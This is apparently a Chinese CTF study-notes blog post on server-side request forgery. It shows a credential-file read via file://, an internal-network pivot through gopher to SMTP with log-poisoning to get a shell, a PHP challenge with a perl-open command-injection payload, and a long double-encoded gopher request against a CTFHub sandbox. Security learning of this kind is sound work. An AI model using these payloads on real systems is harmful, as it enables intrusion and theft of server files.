开启掘金成长之旅！这是我参与「掘金日新计划 · 12 月更文挑战」的第11天，点击查看活动详情
0x3、SSRF
curl() ,file_get_content()
curl file://etc/passwd
白名单写死http
先读取/etc/hosts获取内网IP，然后尝试访问邻近IP，可以发现有个主机开放了25端口--SMTP服务。我们可以利用gopher协议向目标机发送邮件，把后门写进日志里
linux中邮件日志路径一般为
/var/log/maillog
/var/log/mail.log
/var/adm/maillog
/var/adm/syslog/mail.log
用LFI包含日志文件就可以getshell了
eg:一道最简单的ssrf
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
$_SERVER['REMOTE_ADDR'] = $http_x_headers[0]; //将发起请求的主机ip记录下来
var_dump($http_x_headers);
}
echo $_SERVER["REMOTE_ADDR"];
$sandbox = "sandbox/" . md5("orange" . "14.119.122.185");
var_dump($sandbox);
@mkdir($sandbox);
@chdir($sandbox);
$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
$info = pathinfo($_GET["filename"]);
var_dump($info);
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
//highlight_file(__FILE__);
payload：
?url=/&filename=123
看了下大佬的wp，emmmm涉及到知识盲区了。
说perl的open命令有可能会导致命令执行，当GET使用file协议的时候就会调用到perl的open函数。payload如下
?url=file:bash -c /readflag|&filename=123
一、POST 传参
先对目标网站正常传参,bp抓包
POST /flag.php HTTP/1.1
Host: challenge-f695c387ea3d51f6.sandbox.ctfhub.com:10800
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
X-Forwarded-For: 8.8.8.8
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
key=acd74b63b64667109f93df7281766720
用bp对其编码两次，再用gopher协议发送
?url=gopher://127.0.0.1:80/_
[http://challenge-f695c387ea3d51f6.sandbox.ctfhub.com:10800/?url=gopher://127.0.0.1:80/_%25%35%30%25%34%66%25%35%33%25%35%34%25%32%30%25%32%66%25%36%36%25%36%63%25%36%31%25%36%37%25%32%65%25%37%30%25%36%38%25%37%30%25%32%30%25%34%38%25%35%34%25%35%34%25%35%30%25%32%66%25%33%31%25%32%65%25%33%31%25%30%64%25%30%61%25%34%38%25%36%66%25%37%33%25%37%34%25%33%61%25%32%30%25%36%33%25%36%38%25%36%31%25%36%63%25%36%63%25%36%35%25%36%65%25%36%37%25%36%35%25%32%64%25%36%36%25%33%36%25%33%39%25%33%35%25%36%33%25%33%33%25%33%38%25%33%37%25%36%35%25%36%31%25%33%33%25%36%34%25%33%35%25%33%31%25%36%36%25%33%36%25%32%65%25%37%33%25%36%31%25%36%65%25%36%34%25%36%32%25%36%66%25%37%38%25%32%65%25%36%33%25%37%34%25%36%36%25%36%38%25%37%35%25%36%32%25%32%65%25%36%33%25%36%66%25%36%64%25%33%61%25%33%31%25%33%30%25%33%38%25%33%30%25%33%30%25%30%64%25%30%61%25%35%35%25%37%33%25%36%35%25%37%32%25%32%64%25%34%31%25%36%37%25%36%35%25%36%65%25%37%34%25%33%61%25%32%30%25%34%64%25%36%66%25%37%61%25%36%39%25%36%63%25%36%63%25%36%31%25%32%66%25%33%35%25%32%65%25%33%30%25%32%30%25%32%38%25%35%37%25%36%39%25%36%65%25%36%34%25%36%66%25%37%37%25%37%33%25%32%30%25%34%65%25%35%34%25%32%30%25%33%31%25%33%30%25%32%65%25%33%30%25%33%62%25%32%30%25%35%37%25%34%66%25%35%37%25%33%36%25%33%34%25%33%62%25%32%30%25%37%32%25%37%36%25%33%61%25%33%34%25%33%39%25%32%65%25%33%30%25%32%39%25%32%30%25%34%37%25%36%35%25%36%33%25%36%62%25%36%66%25%32%66%25%33%32%25%33%30%25%33%31%25%33%30%25%33%30%25%33%31%25%33%30%25%33%31%25%32%30%25%34%36%25%36%39%25%37%32%25%36%35%25%36%36%25%36%66%25%37%38%25%32%66%25%33%34%25%33%39%25%32%65%25%33%30%25%30%64%25%30%61%25%34%31%25%36%33%25%36%33%25%36%35%25%37%30%25%37%34%25%33%61%25%32%30%25%37%34%25%36%35%25%37%38%25%37%34%25%32%66%25%36%38%25%37%34%25%36%64%25%36%63%25%32%63%25%36%31%25%37%30%25%37%30%25%36%63%25%36%39%25%36%33%25%36%31%25%37%34%25%36%39%25%36%66%25%36%65%25%32%66%25%37%38%25%36%38%25%37%34%25%36%64%25%36%63%25%32%62%25%37%38%25%36%64%25%36%63%25%32%63%25%36%31%25%37%30%25%37%30%25%36%63%25%36%39%25%36%33%25%36%31%25%37%34%25%36%39%25%36%66%25%36%65%25%32%66%25%37%38%25%36%64%25%36%63%25%33%62%25%37%31%25%33%64%25%33%30%25%32%65%25%33%39%25%32%63%25%32%61%25%32%66%25%32%61%25%33%62%25%37%31%25%33%64%25%33%30%25%32%65%25%33%38%25%30%64%25%30%61%25%34%31%25%36%33%25%36%33%25%36%35%25%37%30%25%37%34%25%32%64%25%34%63%25%36%31%25%36%65%25%36%37%25%37%35%25%36%31%25%36%37%25%36%35%25%33%61%25%32%30%25%37%61%25%36%38%25%32%64%25%34%33%25%34%65%25%32%63%25%37%61%25%36%38%25%33%62%25%37%31%25%33%64%25%33%30%25%32%65%25%33%38%25%32%63%25%36%35%25%36%65%25%32%64%25%35%35%25%35%33%25%33%62%25%37%31%25%33%64%25%33%30%25%32%65%25%33%35%25%32%63%25%36%35%25%36%65%25%33%62%25%37%31%25%33%64%25%33%30%25%32%65%25%33%33%25%30%64%25%30%61%25%34%31%25%36%33%25%36%33%25%36%35%25%37%30%25%37%34%25%32%64%25%34%35%25%36%65%25%36%33%25%36%66%25%36%34%25%36%39%25%36%65%25%36%37%25%33%61%25%32%30%25%36%37%25%37%61%25%36%39%25%37%30%25%32%63%25%32%30%25%36%34%25%36%35%25%36%36%25%36%63%25%36%31%25%37%34%25%36%35%25%30%64%25%30%61%25%34%34%25%34%65%25%35%34%25%33%61%25%32%30%25%33%31%25%30%64%25%30%61%25%35%38%25%32%64%25%34%36%25%36%66%25%37%32%25%37%37%25%36%31%25%37%32%25%36%34%25%36%35%25%36%34%25%32%64%25%34%36%25%36%66%25%37%32%25%33%61%25%32%30%25%33%38%25%32%65%25%33%38%25%32%65%25%33%38%25%32%65%25%33%38%25%30%64%25%30%61%25%34%33%25%36%66%25%36%65%25%36%65%25%36%35%25%36%33%25%37%34%25%36%39%25%36%66%25%36%65%25%33%61%25%32%30%25%36%62%25%36%35%25%36%35%25%37%30%25%32%64%25%36%31%25%36%63%25%36%39%25%37%36%25%36%35%25%30%64%25%30%61%25%35%35%25%37%30%25%36%37%25%37%32%25%36%31%25%36%34%25%36%35%25%32%64%25%34%39%25%36%65%25%37%33%25%36%35%25%36%33%25%37%35%25%37%32%25%36%35%25%32%64%25%35%32%25%36%35%25%37%31%25%37%35%25%36%35%25%37%33%25%37%34%25%37%33%25%33%61%25%32%30%25%33%31%25%30%64%25%30%61%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%35%34%25%37%39%25%37%30%25%36%35%25%33%61%25%32%30%25%36%31%25%37%30%25%37%30%25%36%63%25%36%39%25%36%33%25%36%31%25%37%34%25%36%39%25%36%66%25%36%65%25%32%66%25%37%38%25%32%64%25%37%37%25%37%37%25%37%37%25%32%64%25%36%36%25%36%66%25%37%32%25%36%64%25%32%64%25%37%35%25%37%32%25%36%63%25%36%35%25%36%65%25%36%33%25%36%66%25%36%34%25%36%35%25%36%34%25%30%64%25%30%61%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%34%63%25%36%35%25%36%65%25%36%37%25%37%34%25%36%38%25%33%61%25%32%30%25%33%33%25%33%36%25%30%64%25%30%61%25%30%64%25%30%61%25%36%62%25%36%35%25%37%39%25%33%64%25%36%31%25%36%33%25%36%34%25%33%37%25%33%34%25%36%32%25%33%36%25%33%33%25%36%32%25%33%36%25%33%34%25%33%36%25%33%36%25%33%37%25%33%31%25%33%30%25%33%39%25%36%36%25%33%39%25%33%33%25%36%34%25%36%36%25%33%37%25%33%32%25%33%38%25%33%31%25%33%37%25%33%36%25%33%36%25%33%37%25%33%32%25%33%30](http://challenge-f695c387ea3d51f6.sandbox.ctfhub.com:10800/?url=gopher://127.0.0.1:80/_%2525%2535%2530%2525%2534%2566%2525%2535%2533%2525%2535%2534%2525%2532%2530%2525%2532%2566%2525%2536%2536%2525%2536%2563%2525%2536%2531%2525%2536%2537%2525%2532%2565%2525%2537%2530%2525%2536%2538%2525%2537%2530%2525%2532%2530%2525%2534%2538%2525%2535%2534%2525%2535%2534%2525%2535%2530%2525%2532%2566%2525%2533%2531%2525%2532%2565%2525%2533%2531%2525%2530%2564%2525%2530%2561%2525%2534%2538%2525%2536%2566%2525%2537%2533%2525%2537%2534%2525%2533%2561%2525%2532%2530%2525%2536%2533%2525%2536%2538%2525%2536%2531%2525%2536%2563%2525%2536%2563%2525%2536%2535%2525%2536%2565%2525%2536%2537%2525%2536%2535%2525%2532%2564%2525%2536%2536%2525%2533%2536%2525%2533%2539%2525%2533%2535%2525%2536%2533%2525%2533%2533%2525%2533%2538%2525%2533%2537%2525%2536%2535%2525%2536%2531%2525%2533%2533%2525%2536%2534%2525%2533%2535%2525%2533%2531%2525%2536%2536%2525%2533%2536%2525%2532%2565%2525%2537%2533%2525%2536%2531%2525%2536%2565%2525%2536%2534%2525%2536%2532%2525%2536%2566%2525%2537%2538%2525%2532%2565%2525%2536%2533%2525%2537%2534%2525%2536%2536%2525%2536%2538%2525%2537%2535%2525%2536%2532%2525%2532%2565%2525%2536%2533%2525%2536%2566%2525%2536%2564%2525%2533%2561%2525%2533%2531%2525%2533%2530%2525%2533%2538%2525%2533%2530%2525%2533%2530%2525%2530%2564%2525%2530%2561%2525%2535%2535%2525%2537%2533%2525%2536%2535%2525%2537%2532%2525%2532%2564%2525%2534%2531%2525%2536%2537%2525%2536%2535%2525%2536%2565%2525%2537%2534%2525%2533%2561%2525%2532%2530%2525%2534%2564%2525%2536%2566%2525%2537%2561%2525%2536%2539%2525%2536%2563%2525%2536%2563%2525%2536%2531%2525%2532%2566%2525%2533%2535%2525%2532%2565%2525%2533%2530%2525%2532%2530%2525%2532%2538%2525%2535%2537%2525%2536%2539%2525%2536%2565%2525%2536%2534%2525%2536%2566%2525%2537%2537%2525%2537%2533%2525%2532%2530%2525%2534%2565%2525%2535%2534%2525%2532%2530%2525%2533%2531%2525%2533%2530%2525%2532%2565%2525%2533%2530%2525%2533%2562%2525%2532%2530%2525%2535%2537%2525%2534%2566%2525%2535%2537%2525%2533%2536%2525%2533%2534%2525%2533%2562%2525%2532%2530%2525%2537%2532%2525%2537%2536%2525%2533%2561%2525%2533%2534%2525%2533%2539%2525%2532%2565%2525%2533%2530%2525%2532%2539%2525%2532%2530%2525%2534%2537%2525%2536%2535%2525%2536%2533%2525%2536%2562%2525%2536%2566%2525%2532%2566%2525%2533%2532%2525%2533%2530%2525%2533%2531%2525%2533%2530%2525%2533%2530%2525%2533%2531%2525%2533%2530%2525%2533%2531%2525%2532%2530%2525%2534%2536%2525%2536%2539%2525%2537%2532%2525%2536%2535%2525%2536%2536%2525%2536%2566%2525%2537%2538%2525%2532%2566%2525%2533%2534%2525%2533%2539%2525%2532%2565%2525%2533%2530%2525%2530%2564%2525%2530%2561%2525%2534%2531%2525%2536%2533%2525%2536%2533%2525%2536%2535%2525%2537%2530%2525%2537%2534%2525%2533%2561%2525%2532%2530%2525%2537%2534%2525%2536%2535%2525%2537%2538%2525%2537%2534%2525%2532%2566%2525%2536%2538%2525%2537%2534%2525%2536%2564%2525%2536%2563%2525%2532%2563%2525%2536%2531%2525%2537%2530%2525%2537%2530%2525%2536%2563%2525%2536%2539%2525%2536%2533%2525%2536%2531%2525%2537%2534%2525%2536%2539%2525%2536%2566%2525%2536%2565%2525%2532%2566%2525%2537%2538%2525%2536%2538%2525%2537%2534%2525%2536%2564%2525%2536%2563%2525%2532%2562%2525%2537%2538%2525%2536%2564%2525%2536%2563%2525%2532%2563%2525%2536%2531%2525%2537%2530%2525%2537%2530%2525%2536%2563%2525%2536%2539%2525%2536%2533%2525%2536%2531%2525%2537%2534%2525%2536%2539%2525%2536%2566%2525%2536%2565%2525%2532%2566%2525%2537%2538%2525%2536%2564%2525%2536%2563%2525%2533%2562%2525%2537%2531%2525%2533%2564%2525%2533%2530%2525%2532%2565%2525%2533%2539%2525%2532%2563%2525%2532%2561%2525%2532%2566%2525%2532%2561%2525%2533%2562%2525%2537%2531%2525%2533%2564%2525%2533%2530%2525%2532%2565%2525%2533%2538%2525%2530%2564%2525%2530%2561%2525%2534%2531%2525%2536%2533%2525%2536%2533%2525%2536%2535%2525%2537%2530%2525%2537%2534%2525%2532%2564%2525%2534%2563%2525%2536%2531%2525%2536%2565%2525%2536%2537%2525%2537%2535%2525%2536%2531%2525%2536%2537%2525%2536%2535%2525%2533%2561%2525%2532%2530%2525%2537%2561%2525%2536%2538%2525%2532%2564%2525%2534%2533%2525%2534%2565%2525%2532%2563%2525%2537%2561%2525%2536%2538%2525%2533%2562%2525%2537%2531%2525%2533%2564%2525%2533%2530%2525%2532%2565%2525%2533%2538%2525%2532%2563%2525%2536%2535%2525%2536%2565%2525%2532%2564%2525%2535%2535%2525%2535%2533%2525%2533%2562%2525%2537%2531%2525%2533%2564%2525%2533%2530%2525%2532%2565%2525%2533%2535%2525%2532%2563%2525%2536%2535%2525%2536%2565%2525%2533%2562%2525%2537%2531%2525%2533%2564%2525%2533%2530%2525%2532%2565%2525%2533%2533%2525%2530%2564%2525%2530%2561%2525%2534%2531%2525%2536%2533%2525%2536%2533%2525%2536%2535%2525%2537%2530%2525%2537%2534%2525%2532%2564%2525%2534%2535%2525%2536%2565%2525%2536%2533%2525%2536%2566%2525%2536%2534%2525%2536%2539%2525%2536%2565%2525%2536%2537%2525%2533%2561%2525%2532%2530%2525%2536%2537%2525%2537%2561%2525%2536%2539%2525%2537%2530%2525%2532%2563%2525%2532%2530%2525%2536%2534%2525%2536%2535%2525%2536%2536%2525%2536%2563%2525%2536%2531%2525%2537%2534%2525%2536%2535%2525%2530%2564%2525%2530%2561%2525%2534%2534%2525%2534%2565%2525%2535%2534%2525%2533%2561%2525%2532%2530%2525%2533%2531%2525%2530%2564%2525%2530%2561%2525%2535%2538%2525%2532%2564%2525%2534%2536%2525%2536%2566%2525%2537%2532%2525%2537%2537%2525%2536%2531%2525%2537%2532%2525%2536%2534%2525%2536%2535%2525%2536%2534%2525%2532%2564%2525%2534%2536%2525%2536%2566%2525%2537%2532%2525%2533%2561%2525%2532%2530%2525%2533%2538%2525%2532%2565%2525%2533%2538%2525%2532%2565%2525%2533%2538%2525%2532%2565%2525%2533%2538%2525%2530%2564%2525%2530%2561%2525%2534%2533%2525%2536%2566%2525%2536%2565%2525%2536%2565%2525%2536%2535%2525%2536%2533%2525%2537%2534%2525%2536%2539%2525%2536%2566%2525%2536%2565%2525%2533%2561%2525%2532%2530%2525%2536%2562%2525%2536%2535%2525%2536%2535%2525%2537%2530%2525%2532%2564%2525%2536%2531%2525%2536%2563%2525%2536%2539%2525%2537%2536%2525%2536%2535%2525%2530%2564%2525%2530%2561%2525%2535%2535%2525%2537%2530%2525%2536%2537%2525%2537%2532%2525%2536%2531%2525%2536%2534%2525%2536%2535%2525%2532%2564%2525%2534%2539%2525%2536%2565%2525%2537%2533%2525%2536%2535%2525%2536%2533%2525%2537%2535%2525%2537%2532%2525%2536%2535%2525%2532%2564%2525%2535%2532%2525%2536%2535%2525%2537%2531%2525%2537%2535%2525%2536%2535%2525%2537%2533%2525%2537%2534%2525%2537%2533%2525%2533%2561%2525%2532%2530%2525%2533%2531%2525%2530%2564%2525%2530%2561%2525%2534%2533%2525%2536%2566%2525%2536%2565%2525%2537%2534%2525%2536%2535%2525%2536%2565%2525%2537%2534%2525%2532%2564%2525%2535%2534%2525%2537%2539%2525%2537%2530%2525%2536%2535%2525%2533%2561%2525%2532%2530%2525%2536%2531%2525%2537%2530%2525%2537%2530%2525%2536%2563%2525%2536%2539%2525%2536%2533%2525%2536%2531%2525%2537%2534%2525%2536%2539%2525%2536%2566%2525%2536%2565%2525%2532%2566%2525%2537%2538%2525%2532%2564%2525%2537%2537%2525%2537%2537%2525%2537%2537%2525%2532%2564%2525%2536%2536%2525%2536%2566%2525%2537%2532%2525%2536%2564%2525%2532%2564%2525%2537%2535%2525%2537%2532%2525%2536%2563%2525%2536%2535%2525%2536%2565%2525%2536%2533%2525%2536%2566%2525%2536%2534%2525%2536%2535%2525%2536%2534%2525%2530%2564%2525%2530%2561%2525%2534%2533%2525%2536%2566%2525%2536%2565%2525%2537%2534%2525%2536%2535%2525%2536%2565%2525%2537%2534%2525%2532%2564%2525%2534%2563%2525%2536%2535%2525%2536%2565%2525%2536%2537%2525%2537%2534%2525%2536%2538%2525%2533%2561%2525%2532%2530%2525%2533%2533%2525%2533%2536%2525%2530%2564%2525%2530%2561%2525%2530%2564%2525%2530%2561%2525%2536%2562%2525%2536%2535%2525%2537%2539%2525%2533%2564%2525%2536%2531%2525%2536%2533%2525%2536%2534%2525%2533%2537%2525%2533%2534%2525%2536%2532%2525%2533%2536%2525%2533%2533%2525%2536%2532%2525%2533%2536%2525%2533%2534%2525%2533%2536%2525%2533%2536%2525%2533%2537%2525%2533%2531%2525%2533%2530%2525%2533%2539%2525%2536%2536%2525%2533%2539%2525%2533%2533%2525%2536%2534%2525%2536%2536%2525%2533%2537%2525%2533%2532%2525%2533%2538%2525%2533%2531%2525%2533%2537%2525%2533%2536%2525%2533%2536%2525%2533%2537%2525%2533%2532%2525%2533%2530)
